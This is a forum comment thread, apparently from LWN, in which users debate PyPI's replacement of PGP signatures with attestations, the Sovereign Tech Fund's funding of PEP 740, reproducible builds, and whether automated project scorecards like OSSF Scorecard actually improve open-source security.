Posted Nov 15, 2024 22:14 UTC (Fri) by bluca (subscriber, #118303) [Link]

> Is it?

Yes: https://www.google.com/search?q=pypi+malware&oq=pypi+...

tech fund?

Posted Nov 15, 2024 19:09 UTC (Fri) by leromarinvit (subscriber, #56850) [Link] (2 responses)

> Sure, but the solution to that isn't "allow GPG signed uploads". The solution to that is logging, auditing and transparency. As long it clear who is uploading what, that's the best you can do. The same idea as Certificate Transparency.

No, GPG signed uploads don't solve the problem of maliciously subverted builds. But neither does transparency - in my scenario, the build would be uploaded exactly at the expected time, from exactly the expected source, signed with the expected keys. The only unexpected part would be the content. The only way I can think of to thwart that kind of attack is reproducible builds.

> Also, why would you send an NSL to Microsoft to subvert a package upload, when you could just send the letter to PyPI instead? Much easier target. After all, Microsoft has billions of dollars of business depending on their builders being secure. PyPI can't defend itself at all.

In the current state of affairs, without any verified signatures at all? Agreed, much easier target. May or may not have happened in the past - we'd likely never know. With the proposed scheme, PyPI hopefully wouldn't be able to sign the build with Microsoft's keys. So it certainly is an improvement, don't get me wrong. I'm just surprised they stopped there and didn't go all the way to making reproducible builds easy and the default.

tech fund?

Posted Nov 20, 2024 13:40 UTC (Wed) by sammythesnake (guest, #17693) [Link] (1 responses)

> ...making reproducible builds easy...

AFAIK, that's still very much not a solved problem...

tech fund?

Posted Nov 20, 2024 14:30 UTC (Wed) by LtWorf (subscriber, #124958) [Link]

They didn't even attempt to solve it for the simpler cases though.

tech fund?

Posted Nov 15, 2024 16:12 UTC (Fri) by LtWorf (subscriber, #124958) [Link] (2 responses)

1. Pypi and the python foundation to the best of my knowledge aren't really strapped for cash.

2. I fail how removing PGP in favour of "We trust some USA company" is a security improvement whatsoever.

3. Putting the keys in the hands of USA companies seems to go in the completely opposite direction of why the fund exists.

4. Said huge USA companies had the money to fund this themselves, the idea of the fund is to fund important projects that need it.

tech fund?

Posted Nov 15, 2024 18:52 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link]

> 2. I fail how removing PGP in favour of "We trust some USA company" is a security improvement whatsoever.

Python Software Foundation that runs PIP is a USA company.

action over words

Posted Nov 15, 2024 21:22 UTC (Fri) by alkadim (guest, #104623) [Link]

>A "Sovereign Tech Fund" spending money to put itself into that position seems oddly bizarre.

>Putting the keys in the hands of USA companies seems to go in the completely opposite direction of why the fund exists.

You might be allowing yourself to be deceived by names and rhetoric. Have you seen, for example, the kinds of masturbatory names the USG gives its bills and laws? Have you noticed what the effective outcome they enable is?

The purpose of a system is what it does.

A "sovereign tech" fund from Germany effectively helping to further "tie up" (as you said) digital infrastructure to US megacorps (and, as you say, to the USG thereby) may seem "bizarre" at first but that's only if you ignore that Germany's is not a sovereign government itself.

tech fund?

Posted Nov 17, 2024 16:22 UTC (Sun) by yossarian (guest, #117133) [Link]

I feel the need to correct this, since you've made the same misleading comment on multiple online forums:

The STF did *not* fund the implementation of this work on PyPI. They funded the design and drafting of the *standard* behind it, i.e. PEP 740, which is intended to be interoperable with other indices (meaning other than PyPI) and other OIDC IdPs besides GitHub (meaning both ones already supported by PyPI, *and* ones that PyPI and other indices may support in the future).

The STF funded *other* engineering initiatives on PyPI itself including, notably, expanding Trusted Publishing support beyond GitHub. You're casting aspersions about a piece of work that was aimed *directly* at eliminating an unnecessary single-entity dependency within PyPI.

I think it's important to have your facts straight here, given that you've repeatedly insinuated varying degrees of impropriety about my intentions, those of PyPI, etc. If you can't do that, then you're not much better than Microsoft in terms of FUD about open source.

Some naive questions

Posted Nov 16, 2024 14:39 UTC (Sat) by cyperpunks (subscriber, #39406) [Link] (29 responses)

Any developer can upload binary packages to PyPi? Which in principle can contain whatever?

To compare with Linux distributions, this means Debian/Ubuntu would just redistribute binary packages built by thousand of others?

It's rather impossible to guarantee the safe of such model. This concept of binary distribution must just stop.

Some naive questions

Posted Nov 16, 2024 18:06 UTC (Sat) by bluss (guest, #47454) [Link] (1 responses)

That's an example of why 'verified' status is a little bit dangerous. It's just going to verify the publisher is who they say they are. It does not say that the software is good to use, anyone can still upload packages, and they can upload anything they want with minutes' notice.

With that said, signed release artifacts is a stepping stone to being able to trust packages.

Some naive questions

Posted Nov 21, 2024 10:12 UTC (Thu) by LtWorf (subscriber, #124958) [Link]

Well they had PGP signatures and removed them in the past years.

I think they're more interested in knowing who wrote the software than in what it contains and if it has vulnerabilities or it's directly malware.

Some naive questions

Posted Nov 21, 2024 10:19 UTC (Thu) by LtWorf (subscriber, #124958) [Link] (26 responses)

I think it's the kind of performative security that goes well with ossf scorecard project https://scorecard.dev/

It aims to decide if a project is secure. It has rules like if master branch is protected from direct writes, if pull requests have been approved by someone else, and if dependency versions are pinned (which also requires a job to scan them and bump them all the time, because pinning them is also insecure).

In the end they say that the project is secure and following the guidelines, all without looking at the code.

The project is constantly promoted on the "open source security podcast" (which I've stopped to listen because it's mostly useless) where they insist that every project maintainer should take the hours necessary to set up all of that.

In the end what you can tell by looking at the badges is that the authors of the project are willing to spend hours to obtain badges. You don't know if the project works, if it changes API every week, or has malware in it.

Oh and download count is perfectly useless as a metric.

Some naive questions

Posted Nov 21, 2024 11:36 UTC (Thu) by bluca (subscriber, #118303) [Link] (25 responses)

> You don't know if the project works, if it changes API every week, or has malware in it.

...because that's not the point? The point is to answer the question of whether basic stuff that is known to cause problems in many cases happen or not. If you are not interested in such things, then don't look at it. Many users are however very interested in knowing whether a project they are considering uses peer-reviewing or not, whether it force-pushes to main or not, and so on and so forth, and having a standardized way to show that is useful to those people.

Some naive questions

Posted Nov 21, 2024 16:21 UTC (Thu) by LtWorf (subscriber, #124958) [Link] (24 responses)

What's the point of not pushing to master if it calls into C code and never checks a buffer boundary though?

I'd rather use code that doesn't segfault and they can push wherever they want.

Some naive questions

Posted Nov 21, 2024 16:34 UTC (Thu) by bluca (subscriber, #118303) [Link] (12 responses)

> What's the point of not pushing to master if it calls into C code and never checks a buffer boundary though?
> I'd rather use code that doesn't segfault and they can push wherever they want.

Those are non-sequiturs. Project management practices and code quality are not mutually exclusive. The point of this is to have a standard, certain way of saying "this projects follows the following project management best practices". It doesn't mean it's perfect or bug-free, and it's not meant to.

Some naive questions

Posted Nov 21, 2024 16:47 UTC (Thu) by LtWorf (subscriber, #124958) [Link] (11 responses)

Can you explain what is the point of project management practices for projects which involve 5 people to be very very very abundant?

And how does project management transfer to making the library better/safer exactly?

Some naive questions

Posted Nov 21, 2024 17:11 UTC (Thu) by bluca (subscriber, #118303) [Link] (10 responses)

> Can you explain what is the point of project management practices for projects which involve 5 people to be very very very abundant?

Sure: ensuring changes go through CI, ensuring there are always at least two pair of eyes on any changes, ensuring git history doesn't get rewritten, and so on. Some people value these things. If you don't, that's fine: don't use such workflows and don't integrate in such scoreboard.

> And how does project management transfer to making the library better/safer exactly?

On average, CI, reviews and so are well known to increase quality, and that's why they are industry-standard practices. It doesn't mean the code magically gets perfect, and nobody says it does.

Some naive questions

Posted Nov 21, 2024 17:31 UTC (Thu) by LtWorf (subscriber, #124958) [Link] (9 responses)

This is similar to "we want kids to learn logic, so we teach them latin", instead of "we want kids to learn logic, so we teach them logic"

Some naive questions

Posted Nov 21, 2024 17:52 UTC (Thu) by bluca (subscriber, #118303) [Link] (7 responses)

No, this is like "we want projects to use known-good common industry-standard practices, so we tell them to use known-good common industry-standard practices"

Some naive questions

Posted Nov 22, 2024 17:08 UTC (Fri) by LtWorf (subscriber, #124958) [Link] (6 responses)

"We want hobby projects to behave like professional projects, but without salary, but sucking all the fun away and having all the work bureaucracy"

There, I translated it to make it clearer :D

Some naive questions

Posted Nov 22, 2024 19:25 UTC (Fri) by raven667 (subscriber, #5198) [Link] (5 responses)

If it's a hobby project then why would you care about any of this stuff? This kind of tool is mostly relevant for commercial software vendors who are charging money and need to manage the risks associated with licensing and incorporating FOSS into their products, to encourage them to be more choosy and not randomly grab stuff just because they can without thinking more about the lifecycle and future maintenance. Why else would you care to attest that the source code repository thoroughly describes the CI process unless you need to prove that to a downstream user of your code? If you have users who *need* this for compliance reasons then why can't they contribute to the maintenance manpower required to make it happen?

A lot of people feel social obligations around the code that they freely share and some commercial vendors take advantage of that to treat contributors like employees they don't have to pay, which is a recipe for unnecessary stress and burnout, especially when vendors use FOSS in critical infrastructure, then try to hold individual developers accountable for maintenance when it was the vendors choice to license FOSS in the first place.

Some naive questions

Posted Nov 23, 2024 1:31 UTC (Sat) by LtWorf (subscriber, #124958) [Link] (4 responses)

Because people working in companies will happily create bug requests asking for this stuff, and will not even entertain the notion that they might give a helping hand.

I couldn't find a link but a while ago there was a microsoft employee being very vocal and complaining about an issue in some hobby project.

So there's pressure for sure, and of course people love it when their project becomes used.

Some naive questions

Posted Nov 26, 2024 11:37 UTC (Tue) by paulj (subscriber, #341) [Link] (3 responses)

> I couldn't find a link but a while ago there was a microsoft employee being very vocal and complaining about an issue in some hobby project.

I read this as a reference to certain other commenters to this very article, whether you intended it or not (i.e., there is an MS employee in other comments here, and they're somewhat vocal in advocating for process).

Some naive questions

Posted Nov 26, 2024 11:55 UTC (Tue) by LtWorf (subscriber, #124958) [Link] (2 responses)

No, it was a different microsoft employee :)

Some naive questions

Posted Nov 26, 2024 13:30 UTC (Tue) by andresfreund (subscriber, #69562) [Link] (1 responses)

Me reporting the xz backdoor?

Some naive questions

Posted Nov 26, 2024 20:32 UTC (Tue) by LtWorf (subscriber, #124958) [Link]

No.

It was something completely out of place. But looking for "microsoft employee rude github" kinda gives too many results to find the event I'm thinking of.

Some naive questions

Posted Nov 22, 2024 8:24 UTC (Fri) by Wol (subscriber, #4433) [Link]

> This is similar to "we want kids to learn logic, so we teach them latin"

Thing is, this probably empirically works - Latin is a "dead" language (although many close relatives are alive and kicking), and it's very much a matter of "what are the rules (grammar), what are the symbols (vocabulary), how do we manipulate them to make our meaning clear?". Pretty much EXACTLY the same setup as the study of logic, I would think?

And as a subject dear to me, there is plenty of evidence that extra MUSIC tuition increases kids MATHS marks better than extra maths tuition. ESPECIALLY with bottom set students. So why are we cutting music education in schools?

Cheers,
Sol

Some naive questions

Posted Nov 21, 2024 16:39 UTC (Thu) by mb (subscriber, #50428) [Link] (10 responses)

>What's the point of not pushing to master if it calls into C code and never checks a buffer boundary though?

There's no point.

In fact, such checker tools *reduce* the code quality and security for certain projects, because now developers are doing voodoo things (such as creating useless PRs instead of pushing to master) instead of developing safe code.

Most maintainers are no idiots.
But some companies start to treat them as such. For whatever reason. I don't know.

In real life the only thing that improves security is *reducing* pressure from overworked maintainers.
And real security code audits.
But certainly not by *adding* useless process paperwork.

Some naive questions

Posted Nov 21, 2024 22:17 UTC (Thu) by sdalley (subscriber, #18550) [Link] (9 responses)

> >What's the point of not pushing to master if it calls into C code and never checks a buffer boundary though?

> There's no point.

There would be plenty of point, if, for example, the CI step were scripted to include a test for that buffer boundary.

Then it would automatically check for this serious potential problem without any further bother, once it was set up. Any regression would immediately be flagged up, and master would end up getting a fixed version instead of a broken one.

CI tests and a well-set-up project repository are not pointless busywork. They can *save* a great deal of time and confusion in the long run.

Some naive questions

Posted Nov 21, 2024 22:27 UTC (Thu) by LtWorf (subscriber, #124958) [Link]

We're not discussing about tests here (at least I am not). Please go and read the website I'm talking about before commenting further.

Some naive questions

Posted Nov 22, 2024 6:59 UTC (Fri) by mb (subscriber, #50428) [Link] (7 responses)

>CI tests and a well-set-up project repository are not pointless busywork.

You are absolutely right.
Correctly developed tests do help a lot to find problems.
A correctly implemented CI does help to find problems early.
But without a real code audit it's not possible to find whether these things are present.

What does not help quality at all is:
- The mere presence of a CI script. It has to do something meaningful to help.
- The mere presence of a test. It has to do something meaningful to help.
- The absence of direct main/master pushes.
- etc, etc.

These are just process "standards" from big companies that they want you to do.
Without paying you, of course.

Scanning Open Source projects with a tool and then assigning whatever score to the project based on the scan actively damages the project reputations.

How is such a scanner going to find out about my extensive custom made non-standard test suite? It will assign my project a bad score and it will force me to invest my time to improve the score. Quality won't improve, though.

Some naive questions

Posted Nov 22, 2024 12:23 UTC (Fri) by bluca (subscriber, #118303) [Link] (5 responses)

> What does not help quality at all is:
> - The mere presence of a CI script. It has to do something meaningful to help.
> - The mere presence of a test. It has to do something meaningful to help.
> - The absence of direct main/master pushes.

You cannot have good CI if you have no CI. You cannot have good tests if you have no tests. You cannot have good review processes if you have no review processes.
These are starting points and prerequisites. If you don't have the prerequisite, it can be surely asserted that you don't have the the one-ups either.

Some naive questions

Posted Nov 22, 2024 12:42 UTC (Fri) by mb (subscriber, #50428) [Link]

Stop making straw mans. I wasn't talking about that.

You cannot have CI without CI? You cannot have tests without tests? Duh?

My point was:
You cannot check for presence of CI, tests, or anything else with a tool.

If the tool says that I don't have tests, because it can't find them, that does *not* mean that there are no tests.
If the tool says that there are no reviews, because it can't find traces of reviews, that does *not* mean that there are no reviews.
If the tool says that I push to master/main and says that is bad. Wtf? Stop making up stupid rules is my answer to that.

And that is why such a tool hurts Open Source projects.
It tells an incorrect story about the projects.
It tells lies about projects to the managers making decisions whether to use a project or not.

And you want Open Source developers to make your tool happy anyway?
What about: Pay them to do that?

Some naive questions

Posted Nov 22, 2024 12:47 UTC (Fri) by pizza (subscriber, #46) [Link] (3 responses)

> You cannot have good CI if you have no CI. You cannot have good tests if you have no tests. You cannot have good review processes if you have no review processes.

>These are starting points and prerequisites. If you don't have the prerequisite, it can be surely asserted that you don't have the the one-ups either.

Okay, where do I send the bill for implementing (and maintaining) all of these "prerequisites" and "processes" ?

"Badges" don't keep a roof over your head.

Some naive questions

Posted Nov 22, 2024 15:26 UTC (Fri) by bluca (subscriber, #118303) [Link] (2 responses)

> Okay, where do I send the bill for implementing (and maintaining) all of these "prerequisites" and "processes" ?

To whoever funds your work, if any? And if not, you just... don't do it?
It's not like it's mandatory by law that everyone must do this...?

Some naive questions

Posted Nov 22, 2024 15:56 UTC (Fri) by pizza (subscriber, #46) [Link] (1 responses)

> To whoever funds your work, if any? And if not, you just... don't do it?
> It's not like it's mandatory by law that everyone must do this...?

These statements appear to contradict each other given the context.

The overwhelming majority of "maintainers" aren't funded at all, yet these demands for them to "do better" keep coming nonetheless.

Some naive questions

Posted Nov 22, 2024 16:35 UTC (Fri) by bluca (subscriber, #118303) [Link]

People can ask whatever they want. You can ignore them. What's new?

Some naive questions

Posted Nov 22, 2024 17:31 UTC (Fri) by LtWorf (subscriber, #124958) [Link]

One of those idiotic scanners flags a project of mine as "inactive", because they don't see new commits (because I moved it on codeberg).

Ironically, they do notice there are new releases, because they scan pypi, but since they see no new commits on the abandoned github project (which contains a link to the new location) they think there is no activity.

Now if someone uses this tool (my $DAYJOB does) and imports my library, it will flag it as a bad dependency because it's inactive.

Automated scans are worse than useless, they cause harm.